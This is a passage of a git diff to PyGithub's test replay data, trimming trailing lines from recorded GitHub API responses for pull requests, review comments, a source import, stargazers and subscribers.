v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-27T10:54:09Z","forks":3,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":17,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-27T10:54:09Z","size":188,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"label":"jacquev6:topic/RewriteWithGeneratedCode","sha":"7ec473e793c0b63092d938707632639a41fd4369","ref":"topic/RewriteWithGeneratedCode"},"created_at":"2012-05-27T10:58:41Z","patch_url":"https://github.com/jacquev6/PyGithub/pull/32.patch"}] - diff --git a/tests/ReplayData/Repository.testGetPullsComments.txt b/tests/ReplayData/Repository.testGetPullsComments.txt index c30d78a2fe..8c17befd58 100644 --- a/tests/ReplayData/Repository.testGetPullsComments.txt +++ b/tests/ReplayData/Repository.testGetPullsComments.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('content-length', '1617'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4959'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:56:09 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"body":"Review comment created for PyGithub","path":"codegen/templates/GithubObject.py","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_position":5,"updated_at":"2012-09-11T20:06:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/1580134","_links":{"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/1580134"}},"commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-09-11T20:06:32Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"position":5,"id":1580134}] - diff --git a/tests/ReplayData/Repository.testGetPullsWithArguments.txt b/tests/ReplayData/Repository.testGetPullsWithArguments.txt index 002ba9ba6c..95168414d8 100644 --- a/tests/ReplayData/Repository.testGetPullsWithArguments.txt +++ b/tests/ReplayData/Repository.testGetPullsWithArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4855'), ('content-length', '9992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2e781638c71ac097640fc67cfcab8822"'), ('date', 'Tue, 29 May 2012 18:42:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-29T18:09:14Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","html_url":"https://github.com/BeaverSoftware/PyGithub","has_wiki":false,"has_issues":false,"fork":true,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","forks":0,"size":428,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-29T18:05:10Z","created_at":"2012-05-29T18:03:19Z","id":4485562,"full_name":"BeaverSoftware/PyGithub"},"user":null,"sha":"ca6e7ef9ce22dc01290bb59507f24cc17f42daa4"},"updated_at":"2012-05-29T18:07:54Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/39","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/39"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/39/comments"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/39/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/39"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/39"}},"body":"","diff_url":"https://github.com/jacquev6/PyGithub/pull/39.diff","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/39","base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"git_url":"git://github.com/jacquev6/PyGithub.git","forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"d57aea6a898050115a089e6f86c5314d7daf97e8"},"number":39,"html_url":"https://github.com/jacquev6/PyGithub/pull/39","title":"Pull request to be merged by PyGithub with a custom commit message","patch_url":"https://github.com/jacquev6/PyGithub/pull/39.patch","closed_at":"2012-05-29T18:07:54Z","created_at":"2012-05-29T18:06:07Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"closed","id":1448168,"merged_at":"2012-05-29T18:07:54Z"},{"head":{"ref":"master","label":"BeaverSoftware:master","repo":null,"user":null,"sha":"aff8a573a19f0a42380e1c0cbbc63b6dc719f38e"},"updated_at":"2012-05-27T11:03:53Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/32","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32/comments"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/32/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/32"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/32"}},"body":"","diff_url":"https://github.com/jacquev6/PyGithub/pull/32.diff","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32","base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"git_url":"git://github.com/jacquev6/PyGithub.git","forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"7ec473e793c0b63092d938707632639a41fd4369"},"number":32,"html_url":"https://github.com/jacquev6/PyGithub/pull/32","title":"Creation of a pull request from an issue is not covered by integration tests","patch_url":"https://github.com/jacquev6/PyGithub/pull/32.patch","closed_at":"2012-05-27T11:03:53Z","created_at":"2012-05-27T10:58:41Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"closed","id":1436310,"merged_at":"2012-05-27T11:03:53Z"},{"head":{"ref":"master","label":"BeaverSoftware:master","repo":null,"user":null,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T10:49:27Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/31","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31/comments"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31"}},"body":"Body edited by PyGithub","diff_url":"https://github.com/jacquev6/PyGithub/pull/31.diff","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"git_url":"git://github.com/jacquev6/PyGithub.git","forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"html_url":"https://github.com/jacquev6/PyGithub/pull/31","title":"Title edited by PyGithub","patch_url":"https://github.com/jacquev6/PyGithub/pull/31.patch","closed_at":"2012-05-27T10:29:07Z","created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"closed","id":1436215,"merged_at":"2012-05-27T10:29:07Z"}] - diff --git a/tests/ReplayData/Repository.testGetSourceImport.txt b/tests/ReplayData/Repository.testGetSourceImport.txt index b50fd29eef..78f49088e5 100644 --- a/tests/ReplayData/Repository.testGetSourceImport.txt +++ b/tests/ReplayData/Repository.testGetSourceImport.txt @@ -30,4 +30,3 @@ null 200 [('content-length', '533'), ('x-runtime-rack', '0.160871'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"8659af05bfc77665551bec8f8a6bb2ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D38C:203D:AEDFE1:183A6DE:5A3749D0'), ('date', 'Mon, 18 Dec 2017 04:53:37 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"complete","status_text":"Done","has_large_files":false,"large_files_size":0,"large_files_count":0,"authors_count":1,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} - diff --git a/tests/ReplayData/Repository.testGetStargazers.txt b/tests/ReplayData/Repository.testGetStargazers.txt index 522bd059b1..885aab1512 100644 --- a/tests/ReplayData/Repository.testGetStargazers.txt +++ b/tests/ReplayData/Repository.testGetStargazers.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('content-length', '2117'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 21:08:59 GMT'), ('connection', 'keep-alive'), ('etag', '"4077d03f95cfbcda281ad6df9d609ff6"'), ('link', '; rel="first", ; rel="prev"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:25:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"gravatar_id":"6e77f95c96e16c0a1a96dccc7037d3b9","avatar_url":"https://secure.gravatar.com/avatar/6e77f95c96e16c0a1a96dccc7037d3b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"ailling","url":"https://api.github.com/users/ailling","id":1420006},{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"gregwjacobs","url":"https://api.github.com/users/gregwjacobs","id":1749292},{"gravatar_id":"ef80bc9208889fb5bc7270f59b2bffda","avatar_url":"https://secure.gravatar.com/avatar/ef80bc9208889fb5bc7270f59b2bffda?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"n0rmrx","url":"https://api.github.com/users/n0rmrx","id":2022188},{"gravatar_id":"fb3209e23e3f8c50da7ec2cd1a20531b","avatar_url":"https://secure.gravatar.com/avatar/fb3209e23e3f8c50da7ec2cd1a20531b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"awylie","url":"https://api.github.com/users/awylie","id":885330},{"gravatar_id":"0e5246dc215484496d9ba125c1142716","avatar_url":"https://secure.gravatar.com/avatar/0e5246dc215484496d9ba125c1142716?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"firstthumb","url":"https://api.github.com/users/firstthumb","id":66023},{"gravatar_id":"2c8bc92ef290c9d5ef7cfefa03302917","avatar_url":"https://secure.gravatar.com/avatar/2c8bc92ef290c9d5ef7cfefa03302917?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"joshbrand","url":"https://api.github.com/users/joshbrand","id":847243},{"gravatar_id":"3a90a2072fa32035016c5cc3c8584367","avatar_url":"https://secure.gravatar.com/avatar/3a90a2072fa32035016c5cc3c8584367?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"berndca","url":"https://api.github.com/users/berndca","id":466654}] - diff --git a/tests/ReplayData/Repository.testGetStargazersWithDates.txt b/tests/ReplayData/Repository.testGetStargazersWithDates.txt index 4b05643d7e..d9206ebcb7 100644 --- a/tests/ReplayData/Repository.testGetStargazersWithDates.txt +++ b/tests/ReplayData/Repository.testGetStargazersWithDates.txt @@ -30,4 +30,3 @@ None 200 [('content-length', '5547'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '2c18a09f3ac5e4dd1e004af7c5a94769'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"83247ceb0b43ff0c9c1d97c5cc427ceb"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4913'), ('x-github-media-type', 'github.v3; param=star; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '44AE6A38:AB2F:94E8764:561EA76D'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 14 Oct 2015 19:05:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1444851351')] [{"starred_at":"2014-08-13T19:22:05Z","user":{"login":"sAlexander","id":20961,"avatar_url":"https://avatars.githubusercontent.com/u/20961?v=3","gravatar_id":"","url":"https://api.github.com/users/sAlexander","html_url":"https://github.com/sAlexander","followers_url":"https://api.github.com/users/sAlexander/followers","following_url":"https://api.github.com/users/sAlexander/following{/other_user}","gists_url":"https://api.github.com/users/sAlexander/gists{/gist_id}","starred_url":"https://api.github.com/users/sAlexander/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sAlexander/subscriptions","organizations_url":"https://api.github.com/users/sAlexander/orgs","repos_url":"https://api.github.com/users/sAlexander/repos","events_url":"https://api.github.com/users/sAlexander/events{/privacy}","received_events_url":"https://api.github.com/users/sAlexander/received_events","type":"User","site_admin":false}},{"starred_at":"2014-10-15T05:02:30Z","user":{"login":"ThomasG77","id":642120,"avatar_url":"https://avatars.githubusercontent.com/u/642120?v=3","gravatar_id":"","url":"https://api.github.com/users/ThomasG77","html_url":"https://github.com/ThomasG77","followers_url":"https://api.github.com/users/ThomasG77/followers","following_url":"https://api.github.com/users/ThomasG77/following{/other_user}","gists_url":"https://api.github.com/users/ThomasG77/gists{/gist_id}","starred_url":"https://api.github.com/users/ThomasG77/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ThomasG77/subscriptions","organizations_url":"https://api.github.com/users/ThomasG77/orgs","repos_url":"https://api.github.com/users/ThomasG77/repos","events_url":"https://api.github.com/users/ThomasG77/events{/privacy}","received_events_url":"https://api.github.com/users/ThomasG77/received_events","type":"User","site_admin":false}},{"starred_at":"2015-04-14T15:22:40Z","user":{"login":"therusek","id":4291399,"avatar_url":"https://avatars.githubusercontent.com/u/4291399?v=3","gravatar_id":"","url":"https://api.github.com/users/therusek","html_url":"https://github.com/therusek","followers_url":"https://api.github.com/users/therusek/followers","following_url":"https://api.github.com/users/therusek/following{/other_user}","gists_url":"https://api.github.com/users/therusek/gists{/gist_id}","starred_url":"https://api.github.com/users/therusek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/therusek/subscriptions","organizations_url":"https://api.github.com/users/therusek/orgs","repos_url":"https://api.github.com/users/therusek/repos","events_url":"https://api.github.com/users/therusek/events{/privacy}","received_events_url":"https://api.github.com/users/therusek/received_events","type":"User","site_admin":false}},{"starred_at":"2015-04-29T00:09:40Z","user":{"login":"athomann","id":605577,"avatar_url":"https://avatars.githubusercontent.com/u/605577?v=3","gravatar_id":"","url":"https://api.github.com/users/athomann","html_url":"https://github.com/athomann","followers_url":"https://api.github.com/users/athomann/followers","following_url":"https://api.github.com/users/athomann/following{/other_user}","gists_url":"https://api.github.com/users/athomann/gists{/gist_id}","starred_url":"https://api.github.com/users/athomann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/athomann/subscriptions","organizations_url":"https://api.github.com/users/athomann/orgs","repos_url":"https://api.github.com/users/athomann/repos","events_url":"https://api.github.com/users/athomann/events{/privacy}","received_events_url":"https://api.github.com/users/athomann/received_events","type":"User","site_admin":false}},{"starred_at":"2015-04-29T14:26:46Z","user":{"login":"jcapron","id":2346847,"avatar_url":"https://avatars.githubusercontent.com/u/2346847?v=3","gravatar_id":"","url":"https://api.github.com/users/jcapron","html_url":"https://github.com/jcapron","followers_url":"https://api.github.com/users/jcapron/followers","following_url":"https://api.github.com/users/jcapron/following{/other_user}","gists_url":"https://api.github.com/users/jcapron/gists{/gist_id}","starred_url":"https://api.github.com/users/jcapron/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jcapron/subscriptions","organizations_url":"https://api.github.com/users/jcapron/orgs","repos_url":"https://api.github.com/users/jcapron/repos","events_url":"https://api.github.com/users/jcapron/events{/privacy}","received_events_url":"https://api.github.com/users/jcapron/received_events","type":"User","site_admin":false}},{"starred_at":"2015-05-09T19:14:45Z","user":{"login":"JoePython1","id":307737,"avatar_url":"https://avatars.githubusercontent.com/u/307737?v=3","gravatar_id":"","url":"https://api.github.com/users/JoePython1","html_url":"https://github.com/JoePython1","followers_url":"https://api.github.com/users/JoePython1/followers","following_url":"https://api.github.com/users/JoePython1/following{/other_user}","gists_url":"https://api.github.com/users/JoePython1/gists{/gist_id}","starred_url":"https://api.github.com/users/JoePython1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoePython1/subscriptions","organizations_url":"https://api.github.com/users/JoePython1/orgs","repos_url":"https://api.github.com/users/JoePython1/repos","events_url":"https://api.github.com/users/JoePython1/events{/privacy}","received_events_url":"https://api.github.com/users/JoePython1/received_events","type":"User","site_admin":false}}] - diff --git a/tests/ReplayData/Repository.testGetSubscribers.txt b/tests/ReplayData/Repository.testGetSubscribers.txt index a7c605f392..ee54a4470d 100644 --- a/tests/ReplayData/Repository.testGetSubscribers.txt +++ b/tests/ReplayData/Repository.testGetSubscribers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '3327'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4956'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 12:01:21 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ab16ed4c5e852882d2d1a3887c3cb606"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:46:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},{"gravatar_id":"e8f8081fe45c1b793c288ecd1c1e932e","avatar_url":"https://secure.gravatar.com/avatar/e8f8081fe45c1b793c288ecd1c1e932e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"equus12","url":"https://api.github.com/users/equus12","id":1647505},{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","url":"https://api.github.com/users/bilderbuchi","id":327442},{"gravatar_id":"4a70a247b4f222894f6b9861e40f733d","avatar_url":"https://secure.gravatar.com/avatar/4a70a247b4f222894f6b9861e40f733d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"hcilab","url":"https://api.github.com/users/hcilab","id":1610572},{"gravatar_id":"abd8a1f2aa5d4899129458889b6f315b","avatar_url":"https://secure.gravatar.com/avatar/abd8a1f2aa5d4899129458889b6f315b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"hattya","url":"https://api.github.com/users/hattya","id":839237},{"gravatar_id":"0e5246dc215484496d9ba125c1142716","avatar_url":"https://secure.gravatar.com/avatar/0e5246dc215484496d9ba125c1142716?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"firstthumb","url":"https://api.github.com/users/firstthumb","id":66023},{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"gregwjacobs","url":"https://api.github.com/users/gregwjacobs","id":1749292},{"gravatar_id":"bb0e7d8e63591b6b908a5a21b3e75878","avatar_url":"https://secure.gravatar.com/avatar/bb0e7d8e63591b6b908a5a21b3e75878?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"sagarsane","url":"https://api.github.com/users/sagarsane","id":667114},{"gravatar_id":"bf75ed46f2034fe6cc1075ce888084d8","avatar_url":"https://secure.gravatar.com/avatar/bf75ed46f2034fe6cc1075ce888084d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"liang456","url":"https://api.github.com/users/liang456","id":1673318},{"gravatar_id":"3a90a2072fa32035016c5cc3c8584367","avatar_url":"https://secure.gravatar.com/avatar/3a90a2072fa32035016c5cc3c8584367?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"berndca","url":"https://api.github.com/users/berndca","id":466654},{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420